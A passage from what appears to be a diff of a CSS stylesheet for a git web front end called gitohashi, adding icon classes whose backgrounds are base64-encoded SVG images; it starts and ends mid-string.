uMDU1NzMtMC4wMjAxIDAuMDMzNTQgMCAwLjA1MzY2IDAuMDIwMSAwLjAyMDEyIDAuMDE5NiAwLjAyMDEyIDAuMDUzNyAwIDAuMDM1MS0wLjAyMDY0IDAuMDU0Ny0wLjAyMDY0IDAuMDE5MS0wLjA1MzE0IDAuMDE5MS0wLjAzNDA2IDAtMC4wNTQ2OS0wLjAxOTEtMC4wMjA2NC0wLjAxOTYtMC4wMjA2NC0wLjA1NDd6Ii8+CgkJPC9nPgoJCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDU5LjYxOCA1OC4yNTUpIj4KCQkJPGcgdHJhbnNmb3JtPSJtYXRyaXgoMS45MiAuNzU4ODcgLS43NTg4NyAxLjkyIC0yMzQuNjkgLTg4Ny40OSkiPgoJCQkJPGcgdHJhbnNmb3JtPSJyb3RhdGUoLTkuMTk2MSAyOTAuNTQgNDEyLjI1KSIgZmlsbD0iIzRkNGQ0ZCI+CgkJCQkJPHBhdGggZD0ibTI4OS42MSA0MTIuNiA0LjE5MDMtMS40NCAwLjAyMDktNmUtM3MwLjAxMjYtNy44ZS00IDAuMDE4MyA4LjZlLTRjMC4wMjIzIDllLTMgMC4wMTg1IDAuMDIwOCAwLjAxODIgMC4wMjcyLTRlLTMgMC4wMTgxLTAuMDE0MyAwLjAyMTctMC4wMTQzIDAuMDIxN2wtNC4xNjg3IDEuNTkxMi0wLjAxNDYtMC4wNzItMC4wMTQzLTAuMDQzMnoiLz4KCQkJCQk8cGF0aCBkPSJtMjg5LjYyIDQxMi42Yy0wLjA1MjQgMC4wMjI2LTAuMDg2MSAwLjA4OTktMC4wNjI3IDAuMTQzNzMgMC4wMzA3IDAuMDQ2OSAwLjA3ODggMC4wNjE0IDAuMTI1NCAwLjA1MTEtMmUtMyAtMC4wNTY2LTAuMDEzNi0wLjA5NDktMC4wMzUzLTAuMTUyMjUtNWUtMyAtMC4wMS0wLjAyMzktMC4wMzQyLTAuMDI5NS0wLjA0MzZ6Ii8+CgkJCQk8L2c+CgkJCQk8ZWxsaXBzZSBjeD0iMjg5LjciIGN5PSI0MTIuODMiIHJ4PSIuMDYzMDY2IiByeT0iLjA1OTQyOCIgZmlsbD0idXJsKCNhKSIvPgoJCQk8L2c+CgkJCTxwYXRoIGQ9Im04LjE0NDIgMTI0LjkyIDAuMDc2MDA1LTAuMDU4NSAwLjA3MDE1OC0wLjAzNTEgOS4xMjA2LTEuMDUyNCAwLjA0Njc3IDAuMDExNy04Ljk4NjEgMS4xNjM0LTAuMDQwOTI2LTAuMDQ2OC0wLjA5OTM5MS0wLjA0NjgtMC4wOTM1NDUgMC4wMTE3eiIgZmlsbD0idXJsKCNiKSIvPgoJCQk8cGF0aCBkPSJtOC4yMzc3IDEyNS4yMyAwLjE0NjE2LTAuMDY0MyAwLjA0Njc3Mi0wLjA0NjggOS4wMzg3LTEuMjYyOC0wLjAzNTA4IDAuMDM1MS05LjAwOTUgMS4zNDQ3LTAuMTIyNzggMC4wMTE3eiIgZmlsbD0iIzQyNDg0YyIgZmlsbC1vcGFjaXR5PSIuNzIxNTciLz4KCQkJPHRleHQgdHJhbnNmb3JtPSJyb3RhdGUoLTcuMDk2OSkiIHg9Ii02LjYyOTU2NjIiIHk9IjEyNS4xNTM1IiBmaWxsPSIjMDAwMDAwIiBmb250LWZhbWlseT0iJ09wZW4gU2FucyciIGZvbnQtc2l6ZT0iLjEzNDQ5cHgiIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZS13aWR0aD0iLjAxNjgxMSIgdGV4dC1hbGlnbj0iY2VudGVyIiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB3b3JkLXNwYWNpbmc9IjBweCIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iLTYuNjI5NTY2MiIgeT0iMTI1LjE1MzUiIHN0cm9rZS13aWR0aD0iLjAxNjgxMSI+Z2l0b2hhc2hpPC90c3Bhbj48L3RleHQ+CgkJCTx0ZXh0IHRyYW5zZm9ybT0icm90YXRlKC03LjA5NjkpIiB4PSItNi42MzMzMjU2IiB5PSIxMjUuMTQ4MDYiIGZpbGw9IiM5OTk5OTkiIGZvbnQtZmFtaWx5PSInT3BlbiBTYW5zJyIgZm9udC1zaXplPSIuMTM0NDlweCIgbGV0dGVyLXNwYWNpbmc9IjBweCIgc3Ryb2tlLXdpZHRoPSIuMDE2ODExIiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSItNi42MzMzMjU2IiB5PSIxMjUuMTQ4MDYiIGZpbGw9IiM5OTk5OTkiIHN0cm9rZS13aWR0aD0iLjAxNjgxMSI+Z2l0b2hhc2hpPC90c3Bhbj48L3RleHQ+CgkJPC9nPgoJCTxnIHRyYW5zZm9ybT0icm90YXRlKC02LjU5MTQgNTQ5LjQ0IC0zNjcuNzcpIj4KCQkJPGcgdHJhbnNmb3JtPSJtYXRyaXgoMS45MiAuNzU4ODcgLS43NTg4NyAxLjkyIC0yMzQuNjkgLTg4Ny40OSkiPgoJCQkJPGcgdHJhbnNmb3JtPSJyb3RhdGUoLTkuMTk2MSAyOTAuNTQgNDEyLjI1KSIgZmlsbD0iIzRkNGQ0ZCI+CgkJCQkJPHBhdGggZD0ibTI4OS42MSA0MTIuNiA0LjE5MDMtMS40NCAwLjAyMDktNmUtM3MwLjAxMjYtNy44ZS00IDAuMDE4MyA4LjZlLTRjMC4wMjIzIDllLTMgMC4wMTg1IDAuMDIwOCAwLjAxODIgMC4wMjcyLTRlLTMgMC4wMTgxLTAuMDE0MyAwLjAyMTctMC4wMTQzIDAuMDIxN2wtNC4xNjg3IDEuNTkxMi0wLjAxNDYtMC4wNzItMC4wMTQzLTAuMDQzMnoiLz4KCQkJCQk8cGF0aCBkPSJtMjg5LjYyIDQxMi42Yy0wLjA1MjQgMC4wMjI2LTAuMDg2MSAwLjA4OTktMC4wNjI3IDAuMTQzNzMgMC4wMzA3IDAuMDQ2OSAwLjA3ODggMC4wNjE0IDAuMTI1NCAwLjA1MTEtMmUtMyAtMC4wNTY2LTAuMDEzNi0wLjA5NDktMC4wMzUzLTAuMTUyMjUtNWUtMyAtMC4wMS0wLjAyMzktMC4wMzQyLTAuMDI5NS0wLjA0MzZ6Ii8+CgkJCQk8L2c+CgkJCQk8ZWxsaXBzZSBjeD0iMjg5LjciIGN5PSI0MTIuODMiIHJ4PSIuMDYzMDY2IiByeT0iLjA1OTQyOCIgZmlsbD0idXJsKCNhKSIvPgoJCQk8L2c+CgkJCTxwYXRoIGQ9Im04LjE0NDIgMTI0LjkyIDAuMDc2MDA1LTAuMDU4NSAwLjA3MDE1OC0wLjAzNTEgOS4xMjA2LTEuMDUyNCAwLjA0Njc3IDAuMDExNy04Ljk4NjEgMS4xNjM0LTAuMDQwOTI2LTAuMDQ2OC0wLjA5OTM5MS0wLjA0NjgtMC4wOTM1NDUgMC4wMTE3eiIgZmlsbD0idXJsKCNiKSIvPgoJCQk8cGF0aCBkPSJtOC4yMzc3IDEyNS4yMyAwLjE0NjE2LTAuMDY0MyAwLjA0Njc3Mi0wLjA0NjggOS4wMzg3LTEuMjYyOC0wLjAzNTA4IDAuMDM1MS05LjAwOTUgMS4zNDQ3LTAuMTIyNzggMC4wMTE3eiIgZmlsbD0iIzQyNDg0YyIgZmlsbC1vcGFjaXR5PSIuNzIxNTciLz4KCQkJPHRleHQgdHJhbnNmb3JtPSJyb3RhdGUoLTcuMDk2OSkiIHg9Ii02LjYyOTU2NjIiIHk9IjEyNS4xNTM1IiBmaWxsPSIjMDAwMDAwIiBmb250LWZhbWlseT0iJ09wZW4gU2FucyciIGZvbnQtc2l6ZT0iLjEzNDQ5cHgiIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZS13aWR0aD0iLjAxNjgxMSIgdGV4dC1hbGlnbj0iY2VudGVyIiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB3b3JkLXNwYWNpbmc9IjBweCIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iLTYuNjI5NTY2MiIgeT0iMTI1LjE1MzUiIHN0cm9rZS13aWR0aD0iLjAxNjgxMSI+Z2l0b2hhc2hpPC90c3Bhbj48L3RleHQ+CgkJCTx0ZXh0IHRyYW5zZm9ybT0icm90YXRlKC03LjA5NjkpIiB4PSItNi42MzMzMjU2IiB5PSIxMjUuMTQ4MDYiIGZpbGw9IiM5OTk5OTkiIGZvbnQtZmFtaWx5PSInT3BlbiBTYW5zJyIgZm9udC1zaXplPSIuMTM0NDlweCIgbGV0dGVyLXNwYWNpbmc9IjBweCIgc3Ryb2tlLXdpZHRoPSIuMDE2ODExIiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSItNi42MzMzMjU2IiB5PSIxMjUuMTQ4MDYiIGZpbGw9IiM5OTk5OTkiIHN0cm9rZS13aWR0aD0iLjAxNjgxMSI+Z2l0b2hhc2hpPC90c3Bhbj48L3RleHQ+CgkJPC9nPgoJCTxnIHRyYW5zZm9ybT0icm90YXRlKC0uMDgwNTA3IDQzNjM4IC00MjE5MykiIHN0cm9rZS13aWR0aD0iLjEzMjA5IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsIiBhcmlhLWxhYmVsPSJnaXRvaGFzaGkiPgoJCQk8ZyBzdHJva2Utd2lkdGg9Ii4xMzIwOSI+CgkJCQk8cGF0aCBkPSJtMTQuMzA5IDEyMS44djAuMDgwNWwtMC4wNjg2MyAwLjAxNTVxMC4wMjAxMiAwLjAzNjEgMC4wMjAxMiAwLjA5MDggMCAwLjA5MTMtMC4wNDk1MyAwLjE0MjkzLTAuMDQ5NTMgMC4wNTE2LTAuMTM4MjggMC4wNTE2LTAuMDI1OCAwLTAuMDM4MTgtNGUtMyAtMC4wMDk4IDllLTMgLTAuMDE4NTggMC4wMTk2LTAuMDA4OCAwLjAxMDgtMC4wMDg4IDAuMDI2OCAwIDAuMDM2MSAwLjA2MjQzIDAuMDM2MWgwLjA4MzA3cTAuMDczMjcgMCAwLjExMjQ4IDAuMDM5NyAwLjAzOTczIDAuMDM5MiAwLjAzOTczIDAuMTE4NjggMCAwLjEwMDEtMC4wNjcwOCAwLjE1NDc5LTAuMDY3MDggMC4wNTQ3LTAuMTkyOTcgMC4wNTQ3LTAuMDk1NDUgMC0wLjE0NzA1LTAuMDQxOC0wLjA1MTYtMC4wNDEzLTAuMDUxNi0wLjExODE2IDAtMC4wNDggMC4wMjk0MS0wLjA4NDYgMC4wMjk0MS0wLjAzNjEgMC4wODE1Mi0wLjA1MjYtMC4wMjYzMS0wLjAxMDMtMC4wNDMzNC0wLjAzMi0wLjAxNjUxLTAuMDIxNy0wLjAxNjUxLTAuMDUwNiAwLTAuMDE3NSAwLjAwNTItMC4wMzE1IDAuMDA1Mi0wLjAxNDQgMC4wMTQ0NS0wLjAyNjggMC4wMDk4LTAuMDEyOSAwLjAzOTIxLTAuMDM3Ny0wLjAzNTYtMC4wMjE3LTAuMDU2MjQtMC4wNjY2dC0wLjAyMDY0LTAuMDk5NnEwLTAuMDk0NCAwLjA0OTUzLTAuMTQ2MDIgMC4wNDk1My0wLjA1MTYgMC4xNDE4OS0wLjA1MTYgMC4wMTc1NCAwIDAuMDQwMjUgNGUtMyAwLjAyMjcgNGUtMyAwLjAzNDU3IDhlLTN6bS0wLjMzNzk2IDAuNjU3MzVxMCAwLjAzNDEgMC4wMjExNiAwLjA1MjEgMC4wMjE2NyAwLjAxODYgMC4wNjE0IDAuMDE4NiAwLjA2MjQzIDAgMC4wOTMzOS0wLjAyMzcgMC4wMzE0Ny0wLjAyMzcgMC4wMzE0Ny0wLjA2NSAwLTAuMDMyNS0wLjAxNzAzLTAuMDQ1OS0wLjAxNjUxLTAuMDEzNC0wLjA2MjQzLTAuMDEzNGgtMC4wNjY1NnEtMC4wMjc4NiAwLTAuMDQ0ODkgMC4wMjA2LTAuMDE2NTEgMC4wMjEyLTAuMDE2NTEgMC4wNTY4em0wLjA0MjMxLTAuNDcwNTdxMCAwLjEwMTY1IDAuMDU3MjcgMC4xMDE2NSAwLjA1NTczIDAgMC4wNTU3My0wLjEwMjY4IDAtMC4xMDUyNi0wLjA1NTczLTAuMTA1MjYtMC4wNTcyNyAwLTAuMDU3MjcgMC4xMDYyOXoiLz4KCQkJCTxwYXRoIGQ9Im0xNC41MTcgMTIyLjM3aC0wLjEzNzI1di0wLjU3NDc5aDAuMTM3MjV6bS0wLjE0MjkyLTAuNzI0OTRxMC0wLjAzNDEgMC4wMTk2MS0wLjA1MzcgMC4wMjAxMi0wLjAyMDEgMC4wNTU3Mi0wLjAyMDEgMC4wMzM1NCAwIDAuMDUzNjYgMC4wMjAxIDAuMDIwMTIgMC4wMTk2IDAuMDIwMTIgMC4wNTM3IDAgMC4wMzUxLTAuMDIwNjQgMC4wNTQ3LTAuMDIwNjQgMC4wMTkxLTAuMDUzMTUgMC4wMTkxLTAuMDM0MDUgMC0wLjA1NDY5LTAuMDE5MS0wLjAyMDY0LTAuMDE5Ni0wLjAyMDY0LTAuMDU0N3oiLz4KCQkJCTxwYXRoIGQ9Im0xNC44MzQgMTIyLjI2cTAuMDI4ODkgMCAwLjA2MjQzLTAuMDE0NXYwLjEwNzMycS0wLjAzMzU0IDAuMDIzMi0wLjEwMDYyIDAuMDIzMi0wLjA3NDgyIDAtMC4xMTA5NC0wLjA0NDQtMC4wMzYxMi0wLjA0NDktMC4wMzYxMi0wLjEzNDE1di0wLjI5NzcyaC0wLjA1NTczdi0wLjA2MTRsMC4wNzE3Mi0wLjA0OTUgMC4wMzUwOS0wLjEyMTc3aDAuMDg3NzJ2MC4xMjM4NGgwLjEwNDIzdjAuMTA4ODdoLTAuMTA0MjN2MC4zMDIzNnEwIDAuMDU3OCAwLjA0NjQ0IDAuMDU3OHoiLz4KCQkJPC9nPgoJCQk8ZyBmaWxsPSIjODAwMDAwIj4KCQkJCTxwYXRoIGQ9Im0xNS40MDMgMTIyLjA4cTAgMC4xNDEzOC0wLjA1OTg1IDAuMjIwMzItMC4wNTk4NSAwLjA3ODQtMC4xNjQwOCAwLjA3ODQtMC4wNjYwNCAwLTAuMTE2NjEtMC4wMzYxLTAuMDUwNTctMC4wMzYxLTAuMDc3OTEtMC4xMDM3MS0wLjAyNzM1LTAuMDY4MS0wLjAyNzM1LTAuMTU4OTIgMC0wLjEzOTgzIDAuMDU5MzQtMC4yMTgyNSAwLjA1OTM0LTAuMDc4OSAwLjE2NDYtMC4wNzg5IDAuMTAxNjUgMCAwLjE2MTUgMC4wODA1IDAuMDYwMzcgMC4wOCAwLjA2MDM3IDAuMjE2NzF6bS0wLjMwNTQ2IDBxMCAwLjA4OTggMC4wMTk2MSAwLjEzNTd0MC4wNjI5NSAwLjA0NTlxMC4wODI1NiAwIDAuMDgyNTYtMC4xODE2MyAwLTAuMDkwMy0wLjAyMDEyLTAuMTM0NjctMC4wMTk2MS0wLjA0NDktMC4wNjI0My0wLjA0NDktMC4wNDMzNCAwLTAuMDYyOTUgMC4wNDQ5LTAuMDE5NjEgMC4wNDQ0LTAuMDE5NjEgMC4xMzQ2N3oiLz4KCQkJCTxwYXRoIGQ9Im0xNS43ODYgMTIyLjM3di0wLjM0MjZxMC0wLjEyNjQyLTAuMDYzNDYtMC4xMjY0Mi0wLjA0NzQ3IDAtMC4wNjY1NiAwLjA1LTAuMDE5MDkgMC4wNDk1LTAuMDE5MDkgMC4xNDI5M3YwLjI3NjA0aC0wLjEzNzI1di0wLjgwMjg1aDAuMTM3MjV2MC4xNzg1MnEwIDAuMDM0Ni0wLjAwNjIgMC4xMjMzMmgwLjAwNzJxMC4wNDEyOC0wLjA4NDYgMC4xMjY5My0wLjA4NDYgMC4wNzg5NSAwIDAuMTE5MTkgMC4wNTM3IDAuMDQwMjUgMC4wNTMyIDAuMDQwMjUgMC4xNTY4NnYwLjM3NTExeiIvPgoJCQkJPHBhdGggZD0ibTE2LjMxOCAxMjIuMzctMC4wMjczNS0wLjA3ODRoLTAuMDAzMXEtMC4wMzA0NCAwLjA1MDYtMC4wNjI5NSAwLjA2OTd0LTAuMDgyMDQgMC4wMTkxcS0wLjA2MzQ3IDAtMC4xMDAxLTAuMDQ3NS0wLjAzNjEyLTAuMDQ3NS0wLjAzNjEyLTAuMTMyMDkgMC0wLjA5MDggMC4wNDk1My0wLjEzNDY3IDAuMDUwMDUtMC4wNDQ0IDAuMTQ5MTItMC4wNDlsMC4wNzYzNi0zZS0zdi0wLjA0MTNxMC0wLjA4MDUtMC4wNjk2Ni0wLjA4MDUtMC4wNTE2IDAtMC4xMTg2NyAwLjA0MDNsLTAuMDQ3NDctMC4wOTQ5cTAuMDg1NjUtMC4wNTQyIDAuMTg2MjctMC4wNTQyIDAuMDkxMzMgMCAwLjEzODggMC4wNTI2IDAuMDQ3OTkgMC4wNTIxIDAuMDQ3OTkgMC4xNDgwOHYwLjM4NTk1em0tMC4xMTkxOS0wLjA5N3EwLjAzNzY3IDAgMC4wNTk4NS0wLjAzMzUgMC4wMjI3LTAuMDM0MSAwLjAyMjctMC4wOTAzdi0wLjA0ODVsLTAuMDQyMzEgMmUtM3EtMC4wNDY5NSAzZS0zIC0wLjA2OTE0IDAuMDI2OC0wLjAyMTY3IDAuMDI0Mi0wLjAyMTY3IDAuMDcyMiAwIDAuMDcxMiAwLjA1MDU3IDAuMDcxMnoiLz4KCQkJCTxwYXRoIGQ9Im0xNi44MzggMTIyLjJxMCAwLjA4NDEtMC4wNDk1MyAwLjEzMTU3LTAuMDQ5MDIgMC4wNDctMC4xNDQ5OSAwLjA0Ny0wLjA4NTE0IDAtMC4xNDA4Ni0wLjAzMzV2LTAuMTE5MTlxMC4wMjgzOCAwLjAxOTYgMC4wNjYwNCAwLjAzMjUgMC4wMzgxOCAwLjAxMjkgMC4wNjcwOCAwLjAxMjkgMC4wMzE5OSAwIDAuMDQ4NS0wLjAxNTUgMC4wMTcwMy0wLjAxNiAwLjAxNzAzLTAuMDQxOCAwLTAuMDI2My0wLjAxNzU0LTAuMDQ1OXQtMC4wNjQ1LTAuMDQ4cS0wLjA2MjQzLTAuMDM3MS0wLjA4OTc4LTAuMDc4OS0wLjAyNjgzLTAuMDQyMy0wLjAyNjgzLTAuMDk5NiAwLTAuMDczMyAwLjA1MDA1LTAuMTE2MDkgMC4wNTA1Ny0wLjA0MjggMC4xMzgyOC0wLjA0MjggMC4wNzYzNiAwIDAuMTQzOTYgMC4wNDAzbC0wLjA0NDg5IDAuMDk4NnEtMC4wNTUyMS0wLjAyOTktMC4wOTctMC4wMjk5LTAuMDI2MzEgMC0wLjAzOTczIDAuMDEzOS0wLjAxMjkgMC4wMTM5LTAuMDEyOSAwLjAzNDEgMCAwLjAyMzIgMC4wMTYgMC4wNDEzIDAuMDE2NTEgMC4wMTgxIDAuMDYwODkgMC4wNDQ5IDAuMDUzNjYgMC4wMzI1IDAuMDc1MzMgMC4wNTUydDAuMDMzNTQgMC4wNTE2IDAuMDExODcgMC4wNjc2eiIvPgoJCQkJPHBhdGggZD0ibTE3LjIxMiAxMjIuMzd2LTAuMzQyNnEwLTAuMTI2NDItMC4wNjM0Ny0wLjEyNjQyLTAuMDQ3NDcgMC0wLjA2NjU2IDAuMDUtMC4wMTkwOSAwLjA0OTUtMC4wMTkwOSAwLjE0MjkzdjAuMjc2MDRoLTAuMTM3MjV2LTAuODAyODVoMC4xMzcyNXYwLjE3ODUycTAgMC4wMzQ2LTAuMDA2MiAwLjEyMzMyaDAuMDA3MnEwLjA0MTI4LTAuMDg0NiAwLjEyNjkzLTAuMDg0NiAwLjA3ODk0IDAgMC4xMTkxOSAwLjA1MzcgMC4wNDAyNSAwLjA1MzIgMC4wNDAyNSAwLjE1Njg2djAuMzc1MTF6Ii8+CgkJCQk8cGF0aCBkPSJtMTcuNiAxMjIuMzdoLTAuMTM3MjV2LTAuNTc0NzloMC4xMzcyNXptLTAuMTQyOTItMC43MjQ5NHEwLTAuMDM0MSAwLjAxOTYxLTAuMDUzNyAwLjAyMDEyLTAuMDIwMSAwLjA1NTczLTAuMDIwMSAwLjAzMzU0IDAgMC4wNTM2NiAwLjAyMDEgMC4wMjAxMiAwLjAxOTYgMC4wMjAxMiAwLjA1MzcgMCAwLjAzNTEtMC4wMjA2NCAwLjA1NDctMC4wMjA2NCAwLjAxOTEtMC4wNTMxNCAwLjAxOTEtMC4wMzQwNiAwLTAuMDU0NjktMC4wMTkxLTAuMDIwNjQtMC4wMTk2LTAuMDIwNjQtMC4wNTQ3eiIvPgoJCQk8L2c+CgkJPC9nPgoJPC9nPgo8L3N2Zz4\u003d\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:1.3em 5em 1.3em 5em;\n+ vertical-align:middle;\n+\tmargin-right: 0.3em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.stats {\n+ display: inline-block;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAzMi45NTY4NTYgNDIuMzY2MDc3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iYSIgeD0iLS4wODYzOTIiIHk9Ii0uMDcxMDk0IiB3aWR0aD0iMS4xNzI4IiBoZWlnaHQ9IjEuMTQyMiIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4xODgxMDIyIi8+CgkJPC9maWx0ZXI+CgkJPGZpbHRlciBpZD0iYiIgeD0iLS4wMTMwNTgiIHk9Ii0uMDEzMzQ1IiB3aWR0aD0iMS4wMjYxIiBoZWlnaHQ9IjEuMDI2NyIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4wMzQ2OTU4MzQiLz4KCQk8L2ZpbHRlcj4KCQk8ZmlsdGVyIGlkPSJjIiB4PSItLjAzODc2OCIgeT0iLS4wMjk2NDgiIHdpZHRoPSIxLjA3NzUiIGhlaWdodD0iMS4wNTkzIiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgoJCQk8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjUwNTM5MjI2Ii8+CgkJPC9maWx0ZXI+Cgk8L2RlZnM+Cgk8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtNDguMTU2IC04OS4zNjcpIj4KCQk8cGF0aCB0cmFuc2Zvcm09Im1hdHJpeCguOTc3NTggMCAwIC45Nzc1OCAxLjA3OTggMi4wMDM5KSIgZD0ibTQ5LjUzMyAxMzEuNDloMzEuMTIzdi0zNS4zNmwtNS4xMjIyLTUuNTE5MS0yNi4xNjUtMC4wMzMxYzAuMDc4NTcgMTMuNjM2IDAuMTY0MzkgMjcuMjc1IDAuMTY0MzkgNDAuOTEyeiIgZmlsdGVyPSJ1cmwoI2MpIi8+CgkJPHBhdGggZD0ibTQ5LjA1NSAxMzAuMmgzMC40MjV2LTM0LjU2N2wtNS4wMDc0LTUuMzk1NC0yNS41NzgtMC4wMzIzNmMwLjA3NjgxIDEzLjMzIDAuMTYwNyAyNi42NjMgMC4xNjA3IDM5Ljk5NXoiIGZpbGw9IiNmMmYyZjIiLz4KCQk8ZyBmaWxsPSIjOTk5IiBzdHJva2U9IiNiM2IzYjMiIHN0cm9rZS13aWR0aD0iLjI1ODY1cHgiPgoJCQk8cGF0aCBkPSJtNTIuMDE5IDkzLjgwMmgyMy41MjQiLz4KCQkJPHBhdGggZD0ibTUxLjk3NiA5Ni44ODVoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUyLjAyMiA5OS45MDJoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUyLjAyMiAxMDMuMDZoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUyLjExNCAxMDYuMzVoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUyLjA2OCAxMDkuNzNoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUxLjk1IDExMy4xNGgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMDE1IDExNi41NmgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTEuOTY3IDExOS45M2gyNC44NSIvPgoJCTwvZz4KCQk8cGF0aCB0cmFuc2Zvcm09Im1hdHJpeCguOTc3NTggMCAwIC45Nzc1OCAxLjA3OTggMi4wMDM5KSIgZD0ibTYzLjgxMyAxMTAuOTktNS43NTk4IDYuMjM5OCA2LjM3NjktNS43MjU1eiIgZmlsdGVyPSJ1cmwoI2IpIi8+CgkJPHBhdGggZD0ibTcyLjQ5OCAxMTMuNDgtOC41MjE4LTMuMjM4OGwxLjkxNiA5LjA3MjIgMS4wMjYxLTAuMjQ2OTEgMC45MDkzNi0wLjQyNjMgMC45MTM3NC0wLjQ4ODIgMS4yMjYzLTAuODY1NzUgMS4zNjQ1LTEuNTk0NSAwLjcxODI0LTEuMTgwMXoiIGZpbGw9IiNlNmU2ZTYiLz4KCQk8cGF0aCBkPSJtNjMuNjc4IDEwMS44MyAwLjQ4NjY0IDguNjc4NGw3LjE1NzItNS4xODk0LTAuNjEzMi0wLjc5NzgtMC43MjQxNS0wLjYyNjUzLTAuNzc5NzgtMC42MDYyOS0xLjIyOTktMC43MzE5Ni0xLjkxODItMC41Njk1NS0xLjMwNjUtMC4xNjc1eiIgZmlsbD0iIzMzMyIvPgoJCTxwYXRoIGQ9Im03MS4yMTIgMTA1LjIzLTcuMTc2NCA1LjI4M2w4LjQ2NyAzLjIzNDEgMC4zNDEwMi0wLjk3MzYzIDAuMTMxNzctMC45NzI4MyAwLjA4MzI2LTEuMDA5Mi0wLjA2MTIyLTEuNDY2LTAuNTg2NS0xLjk2NTgtMC41ODg2OC0xLjIxNTR6IiBmaWxsPSIjOTk5Ii8+CgkJPHBhdGggZD0ibTY0LjQzOCAxMDEuNDcgMC4wNDQwNSA4Ljg3MDIgMS42MzMzIDkuNDkzNS0xLjk0MDUgMC4wNDQxLTQuNTEyNi0wLjc4MzE4LTIuODg1My0yLjk0NjktMS45ODIxLTQuMTYzMyAwLjU4MjI2LTQuNjMwOSAyLjM0MDUtMy4zMDQ3IDIuODA3NS0xLjkwNjF6IiBmaWxsPSIjZjJmMmYyIi8+CgkJPHBhdGggZD0ibTYzLjYzNSAxMDFhOS43NjQxIDkuNzY0MSAwIDAgMCAtOS4yMDIxIDEwLjI5NSA5Ljc2NDEgOS43NjQxIDAgMCAwIDEwLjI5NSA5LjIwMjEgOS43NjQxIDkuNzY0MSAwIDAgMCA5LjIwMjEgLTEwLjI5NSA5Ljc2NDEgOS43NjQxIDAgMCAwIC0xMC4yOTUgLTkuMjAyMXptMC4wNTI3MiAwLjk0MDE5YTguNzI3NiA4LjcyNzYgMCAwIDEgOS4yMDI1IDguMjI1MyA4LjcyNzYgOC43Mjc2IDAgMCAxIC04LjIyNTMgOS4yMDI1IDguNzI3NiA4LjcyNzYgMCAwIDEgLTkuMjAyNSAtOC4yMjUzIDguNzI3NiA4LjcyNzYgMCAwIDEgOC4yMjUzIC05LjIwMjV6IiBmaWxsPSIjY2NjIiBzdHJva2U9IiM4MDgwODAiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHN0cm9rZS13aWR0aD0iLjIxNjA0Ii8+CgkJPHBhdGggZD0ibTYzLjgwOCAxMTAuMjQtMy4yNDA2IDcuNjQyNyAzLjk3ODItNy4zNzMyeiIvPgoJ